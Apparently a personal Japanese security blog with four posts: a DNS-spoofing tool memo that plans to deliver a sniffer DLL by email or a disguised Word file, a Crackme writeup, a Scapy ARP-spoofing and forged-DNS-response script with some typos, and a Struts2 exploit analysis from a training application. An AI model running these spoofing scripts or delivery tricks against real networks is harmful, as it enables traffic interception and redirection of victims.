chouett0's note

掃きだめ的なsomething

Windows上でのDNS詐称プログラムに関する考察とそのメモ

はじめに

 この記事にまとめる内容は8割想像の話であり、まだ実装途中のモノなので実際の環境で可能な技術であると保証するものではありません。また、私自身まだ知識も浅いので至らぬ点も多く存在します。

目次

  • 概要
  • DNSについて
  • 実装方法
  • 今後について

概要

まず初めに、DNSを詐称するためのプロセスについてです。
私は以前の記事ARPポイズニングと組み合わせた攻撃方法について記述しましたが、この手法ではそもそも改ざんしたIPアドレスへ対象がアクセスする事すらできませんでした。 では、ゲートウェイを書き換えるのではなくプロミスキャスモードでスニフィングするツールを作成してDNSリクエストを観測することで前回の問題点を解決できるのではと考えました。
その方法が、「DLLインジェクションを用いた任意のプロセスのスニファー化」です。
この方法を用いることで、ゲートウェイを偽装せずにパケットを盗聴でき、かつ、既存のプロセスをスニフィング機能を追加するので比較的バレいにくいという利点もあります。

DNSについて

DNSパケットには、512byteを超えるリクエストを行うと本来UDPで行われる通信がTCPで行われるという仕様がありますが、
今回はUDPのみでの通信に関する内容のみを取り扱います。 そもそも、DNSリクエストは以下のような構成になっています。 f:id:chouett0:20170731230458j:plain

  • ID -> 名前解決の通信を行う際に設定するID

  • **QR, Opecode, AA, TC, RD, RA, Z, AD, CD, RCODE -> 各種フラグを設定する。 その中でも、Zフラグは常に0を指定する。

  • QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT -> 以下で説明する各sectionの数(一塊のパケットの中に含まれる各section数)を設定

  • Quesstions -> DNSリクエストを行う際に設定するsection。通常は一回につき一つのAnswer Sectionが含まれている。

  • Answer Section -> DNSレスポンスを送信する際に設定するsection。ここに名前解決を行った際の結果が入る。今回のメイン。

  • Authority Section -> 権威サーバなどの情報が格納されるsection。パケット内に複数存在することがある。

  • Additional Section -> 追加情報などを格納するsection。

以上がDNSパケットの大まかな説明とフォーマットとなります。その中で特にAnswer Sectionは重要な部分であり、 以下が詳しいフォーマットとなります。 f:id:chouett0:20170731232554g:plain
内容は図の通りですが、今回最も重要な部分がRDATAの部分であり、ここに名前解決を行った結果、つまりIPアドレスが入ります。

実装方法

具体的には、上記解説したRDATA部分に任意のIPアドレスを指定したパケットを対象PCへ連続で投げ続けるというイメージであり、前回のプログラムと根本では相違ありませんが、今回は一からフォーマットを定義した構造体に値を設定していくようにしました。したがって、今回の実装ではC言語にて行う予定です。 通信を行う部分にはWinsock2を利用し、プロミスキャスモードにてネットワーク内のパケットを監視します。
そして、DNSリクエストを検知した場合は以下のように定義した構造体に、DNSリクエストのQuesstion Sectionの内容をコピーして対象PCへ送信するといった内容です。 以下はDNSヘッダーのフォーマットに従って定義した構造体です。

typedef struct QuerySection {
    LPSTR qsname;
    short qstype;
    short qsclass;

} QuerySection;

typedef struct AnswerSection {
    LPSTR ansname;
    short anstype;
    short ansclass;
    int ansttl;
    short anslen;
    LPSTR ansrdata;

} AnswerSection;

typedef struct AuthoritySection {
    LPSTR asname;
    short astype;
    short asclass;
    int asttl;
    short aslen;
    LPSTR asrdata;

} AuthoritySection;

typedef struct AddSection {
    LPSTR adsname;
    short adstype;
    short adsclass;
    int adsttl;
    short adslen;
    LPSTR adsrdata;

} AddSection;

typedef struct FakeDNSHeader {
    int id;
    char qr;
    short opcode;
    char aa;
    char tc;
    char rd;
    char ra;
    struct z {
        unsigned int flags : 1;

    }z;
    char rcode;
    short qdcount;
    short ancount;
    short nscount;
    short arcount;
    struct QuerySection;
    struct AnswerSection;
    struct AuthoritySection;
    struct AddSection;

} FakeDNSHeader;

肝心のスニフィングとDNS詐称を行うパケット送信プログラムはDLLとして開発し、何らかの方法(メールへ添付したりwordファイルに偽装して実行させるなど)を用いて対象へ感染させ、任意のプロセスへインジェクションすることで行います。
よって、DLLをインジェクトするプログラムも作成する必要がありますがそちらの説明は今回は省かせていただきます。
これらの事柄を踏まえて実装することで対象ネットワークの構成や疎通の妨害を行うことなく、対象のAレコードを改ざんできると思われます。以下はわかりづらいですが全体構造です。 f:id:chouett0:20170731235336p:plain

今後について

まだ実装途中であり、まだDNSヘッダについても理解しきれていない部分も多くあるので近いうちに完成を目指したいと考えています。また、このテーマに関する研究もそろそろ一年になってしまうのでなるべく速く形にし、更に上の研究も行いたいと考えています。(Crackmeの記事も書かないといけないので)
またこの内容も更新せずに終わりそうな気もしますがなるべく終わらせられるようにしたいです…ほんと

Crackme Writeup

はじめに

Crackmeという名前の問題というのはやたらといろいろありますが、今回僕が挑戦したのは「Crackme doomo」という問題。

Crackme doomo : http://doomo.main.jp/crack/

全部で20問くらいあるらしいですが、その中でようやく10問目まで終わったのでその備忘録。
一応これから始める方のために一部を除いて最終的な答えは見えにくくしてあります。
また、今回解析に用いたツールはは主にOllydbgですが、たまにx32dbg使ったりPEiDとか使ったりしました。 あと一応パッキングも施されていたのでupxでアンパックを行いました。

問題を配布しているサイトのほうにちゃんとした解答があるので間違いだったり説明が足りない場合はそちらを参考にしてください。

0x1

まず、Ollyの場合はCtrl+Nでこのプログラムで使われている関数を列挙し、その中からMessageBox関数を見つけだして
ブレイクポイント(以下BP)を仕掛けると、以下のような処理があることがわかります。

f:id:chouett0:20170711110742p:plain

この処理は、おそらくlstrcmp関数がわかる人なら察しが付くと思いますが、まずGetWindowText関数をcallして
入力された文字列を取得し、比較用文字列と入力文字列をpushしてlstrcmp関数で比較し、その結果に応じてメッセージボックスを
表示しているようです。なので、この問題の答えは「doomo」となります。 おそらくPE解析入門者向けの問題だったのかなと思うくらいそのままの問題でした。

0x2

この問題でも0x1と同じように、まずはMessageBox関数にBreakPointを仕掛けると、以下のようになっています。
ちなみに、本家(?)様のWriteupにはGetWindowTest関数にBPを設定していますが、この関数が呼ばれている
プログラムしかないということはないので、MessageBox関数に仕掛ける方が確実に目的の関数に近づけると思ったからです。

f:id:chouett0:20170711112333p:plain

話を戻しまして、どうやら前回のようにそのまま答えがあるわけではないようです。 GetWindowText関数直下にEAXレジスタと「8」をcmpしている処理がありますが、
EAXレジスタにはGetWindowText関数で 取得した文字列の文字数が格納されているため、
8文字である必要があるようです。
004011FF番地のcall命令が怪しいのでステップインで潜ってみると、
次のような処理が行われていました。

f:id:chouett0:20170711134858p:plain

0040123A番地でmov命令によりESIレジスタにコピーされているのは今回ダミーとして入力した文字列(abcdefgh)です。
そしてESI、つまりは入力した文字列のなかから一文字ずつ取り出し、数値と比較しているのが見て取れます。
ここが文字列比較の処理であり、オンラインのASCII変換器に投げると、
5EH9V3QW という文字列が現れます。つまり、これが答えとなります。

0x2a

この問題は今までとは違い、BPを仕掛けたことを検知する機能があるため、
ただセットしただけでは f:id:chouett0:20170711150938p:plain

このように、BPがセットされていることを警告するメッセージを表示して強制終了してしまいます。
そこで、文字列を実際に比較するルーチンのある部分へBPを仕掛けました。 f:id:chouett0:20170720112059p:plain

ここなら検知されないようです。そして、文字列を一文字ずつDLというレジスタ(正確にはEDXレジスタの下位部分)と比較しているようですので、実際にFLAGを操作しながら
中身を調べていけば答えとなる文字列がわかります。
また、DLに格納される値は疑似乱数を使っているらしく内部処理を追ってみると、Data Segmentに値を保持してxorなどの命令を用いて数値を算出したものをASCIIに変換して使っているようです。(あくまで個人的な見解なので合っている確証はありません)

この続きは随時更新していきたいと思います

たぶん0x10まで更新するのに半年くらいかかると思います…

DNS詐称プログラムを作って失敗した話

はじめに

去年の9月ごろに思い付きで始めて放置してたネタをつい先日(一週間以上前)のLTで

発表するために少し改善しようかなと思った時に失敗した・できなかったことのまとめです。まだ未完成なので限られた環境内でハカー気分を味わいたい方には良いかなという感じです。

全体の構成

まず、どういったものなのかの部分ですが、大雑把に言うとDNSのレコード(ここではAレコードを指します)を改ざんして任意のサイトに誘導しよう、というものです。DNSを利用した攻撃手法にDNSキャッシュポイズニングがありますが、攻撃が成功した時に与えられる被害は大きいものの、キャッシュサーバのキャッシュ汚染が面倒なのと僕がまだいまいち理解しきれていない部分が多いのでパスしました。

DNSのレコードを改ざんする前段階として、ARPスプーフィングを行うことで攻撃対象のゲートウェイ(以下GW)情報を改ざんし、すべてのトラフィックを攻撃用マシンへ送信されるようにします。

トラフィックを取得できるということは、当然DNSリクエストも含まれているはずなので正規のレスポンスが返る前に加工したDNSレスポンスを返すことができればDNSレコードも改ざんできるはず、という感じです。

今回作成したプログラムは以下に投げてあります。

github.com

ARPスプーフィング

まず初めに、ARPスプ―フィングを行うためのプログラムについてです。

具体的には、GWのIPアドレスと攻撃用マシンのMACアドレスを含めた

ARPレスポンスを攻撃対象へひたすら投げ続けるという処理のみを行います。

正常なARPテーブル
f:id:chouett0:20170622135824p:plain

スプーフィングを行ったARPテーブル
f:id:chouett0:20170622135829p:plain

以下はスプーフィングを行うための処理部分です

 def poison_target(gateway_ip, gateway_mac, target_ip, target_mac, stop_event):
        poison_target = ARP()
        poison_target.op = 2
        poison_target.psrc = gateway_ip
        poison_target.pdst = target_ip
        poison_target.whset = target_mac

        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = target_ip
        poison_gateway.pdst = gateway_ip
        poison_gateway.hwset = gateway_mac

        print "[*] Beginnnig the ARP poison. [CTRL-C to stop]"

        while True:
                send(poison_target)
                send(poison_gateway)

                if stop_event.wait(2):
                        break

        print "[*] ARP poison attack finished."
        return

また、後処理として正規のARPレスポンスを送信することで正常なARPテーブルへ戻すようにしています。

def restore_target(geteway_ip, gateway_mac, target_ip, target_mac):
        print "[*] Restoring target..."
        send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
        send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)

DNSポイズニング

この処理をDNSポイズニングと呼ぶにふさわしいかはさておき、この場ではDNSポイズニングと呼ぶことにします。 上記のARPスプーフィングを行ってトラフィックを攻撃用マシンへ流れるようにしたので、Scapyを利用してパケットを解析して その中からDNSリクエストのみを検知し、DNSレスポンスを送信してやります。なお、DNSリクエストは特にいじらずにそのままドロップします。 DNSリクエストの検知処理ですが、DNSリクエストは基本的にUDPの53番ポート宛に送信されるので、その条件に一致したパケットをDNSリクエストであると判断して行っています。 また、DNSレスポンスでは名前解決を行った結果に偽装して任意のIPアドレスを含めたものを生成して送信しています。

以下はその処理を行う処理部分です。

def dns(pkt, qname='google.com'):
    print "DNS"

    ip = IP()
    udp = UDP()
    ip.src = pkt[IP].dst
    ip.dst = pkt[IP].src
    udp.sport = pkt[UDP].dport
    udp.dport = pkt[UDP].sport

    solve = '192.168.0.44'

    qd = pkt[UDP].payload
    dns = DNS(id = qd.id, qr=1, qdcount=1, ancount=1, nscount=1, rnode=0)
    dns.qd = qd[DNSQR]
    dns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve)
    dns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve)
    dns.ar = DNSRR(rrname-solve, ttl=3600, rdlen=4, rdata=solvr)

    print "%s => %S" % (ip.dst, udp.dport)

    send(ip/udp/dns)

qname という部分は名前解決を行うドメイン名で、solve部分がそのドメイン名と結び付けたいIPアドレスを表しています。 その他はDNSレスポンスのひな型通りに生成する処理とsendで送信しています。

余談ですが、送信者がpingを行う際にリクエストを送信した時に問い合わせと別のドメイン名をqnameに含めてレスポンスを送信すると、 受信者側のpingを送信している対象名が変わってしまうようです。

正常なAレコード
f:id:chouett0:20170622143719p:plain

ポイズニングを行ったAレコード
f:id:chouett0:20170622143801p:plain

改善点と失敗したこと

このプログラムはGithubを見てもわかる通り、別々のツールとして稼働させなければいけないことと、攻撃用マシンにルーティング機能がないという問題があり、まずこの問題を解決する必要がありました。ということで、この問題を解決するためにルータを実装することにしました…が、うまくいかず、結局実装することはできませんでした。 なので、次はOpenFlowでルータ自体を改良してDNSポイズニングを行うと思ったのですが、どうやらうまくOpenFlowスイッチとして機能させることができないようなので完全に積んだところであきらめました。

ということで、今回の実験はここまでにしようと思います。もし問題を解決出来たらまた書こうかなと思いますが、たぶんやらないかな… もし解決出来たら是非教えていただきたいです。

参考資料

mrtc0.hateblo.jp

サイバーセキュリティプログラミング―Pythonで学ぶハッカーの思考

http:// http://amzn.asia/gfyGli3

セキュリティキャンプ 2017全国大会の課題のwriteup

はじめに

www.ipa.go.jp

 つい先日セキュリティキャンプ に応募したのでその時の内容を忘れないために自分用にまとめ。今回選択したのが、選-A-1, 選-A-2, 選-A-4の3つ。どれもマルウェアとか関連の講義で、一番興味沸いたので選択した感じです。去年は応募締め切り忘れてて合否以前だったので行きたい...

 

全体的な感想

  もともとあんまり知識も技術もなかったのでどれも苦労してたけど、特に苦労というかこれでよかったのか感が否めないのが選-A4の問題で、printf()関数の内部処理を説明しろみたいな内容で、これ完全に某Hello World本じゃねとか思ったのでこれもしその内容と同じ内容書いてたら落とされそうだなといった感じでした。というかもともとLinuxのバイナリ解析自体経験が皆無だったのでそこが一番敷居が高かったかも。

他は割と調べたことをまとめていく感じだったのでまぁいいかなといったところでした。

 

選-A-1.パケットの解析と攻撃の識別

添付したファイルに記録された通信を検知しました。この通信が意図するものは何か、
攻撃であると判断する場合は何の脆弱性を狙っているか。

 添付したファイル、というのがパケットをキャプチャしたログでこの中から攻撃をした痕跡を見つけてその方法を見つけろという内容でした。幸運にもパケット自体はさほどなかったのでよかったんですが、初見では普通のHTTPでの通信にしか見えなくて10分くらい悩んでたんですが、何気なくHTTPリクエストの中身を見てみるとContent-typeの内容がやたら長い...怪しいなと思ってGoogle先生にC&PしてみるとApache Structs2の脆弱性を狙った攻撃だということがわかりました。(そういえばTwitterにそんな内容流れてた気がする)

じゃあその攻撃を再現してみようということで仮想機にApache Strutsの2.3.31とTomcat 8をインストールして、ホストマシンでBurp stuite立ち上げて添付ファイルの攻撃コードっぽい文字を含めて送信してみるとちゃんと攻撃が成功(今回の場合はcatで/etc/passwdファイルの内容の出力)したのでこれで間違い内容でした。後でほかのコマンドに変更してみたらちゃんと実行できるようなのでこれが実際に使われたら洒落にならない...

と、いろいろ遊んでいると攻撃コード内にcmd.exeなる文字列が含まれている、もしやこれってOS関係なく動くのか?と思い、早速実験用のWinマシンに同じ環境構築してみると流石にそのままでは動かないものの、Windowsのコマンドに変更して実行させると確かに使えるようなのでほんと怖い。というかそもそもこれ自体がOS特有の脆弱性ではなくアプリケーションのものだから当たり前っちゃ当たり前なんですけどね。

 

選-A-2.機械学習の弱点

 最初にprintf()関数の内部処理の解析が一番難しかったと言いましたが、ある意味これが一番頭悩ませたかもしれない内容で、一応機械学習は経験あるんですがその経験とWebで調べてみた内容含めてもあまり文章量が増えず、一番できていなかった気がします。

そしてここに書く内容もほぼないのでほんとこの問題何を見る問題だったのか疑問しかないです。

 

選-A-4.printf()関数について

C言語のprintf()関数またはUNIXのfork()というシステムコールについて、
これらはどのようなものですか? 数値や文字列を表示する・プロセスを作るというだけではなく、
深堀りして考え、疑問を持ち、手を動かして調べてわかったことを教えてください。

 たぶん3つの中で一番この問題に時間使ってた気がします。

バイナリ解析は好きなので眺めてるのは全く苦にはならなかったんですが、どこまで深く潜ればよいのかがイマイチわからず、しかもこれって某本の内容と同じになるんだよなぁと思いながらやってました。

最終的な考察としては、vfprintf()関数とかを呼び出していってwrite()関数でシステムコールを呼び出している、という感じでその呼び出しに今回の環境ではsysenterという命令を用いているようでした。このsysenterというのも、同じような命令にINT 0x80とあともう一つあるようで、最適化や環境によって変化するらしいです。

 流石にこれだけだとパクリだろうといわれて落とされかねないので、一応Windows環境でコンパイルしたPEファイルの解析も行いました、どうやらlongjmp?という関数を使っているらしく、ペアであるsetjmp関数を使用した位置へ強制ジャンプするもののようでした。結局その内部処理は追えなかったものの、それより上層の関数を調べた結果Windowsにもwrite()関数と同義のものがるらしく、そこでシステムコールを呼び出しているようでした。

 

まとめ

 今回が初参加だったのでどのレベルの内容を書けばよいのかがイマイチわからず、選考通るか不安しかないですが、まぁまだ先があるので来年に期待しようかなといった感じです。特に機械学習の弱点については一番自信ないのでそこで落とされそう…

今回のまとめはほんとに概要しか書けなかったのでそのうち個別にでも内容かけたらいいなぁと思います。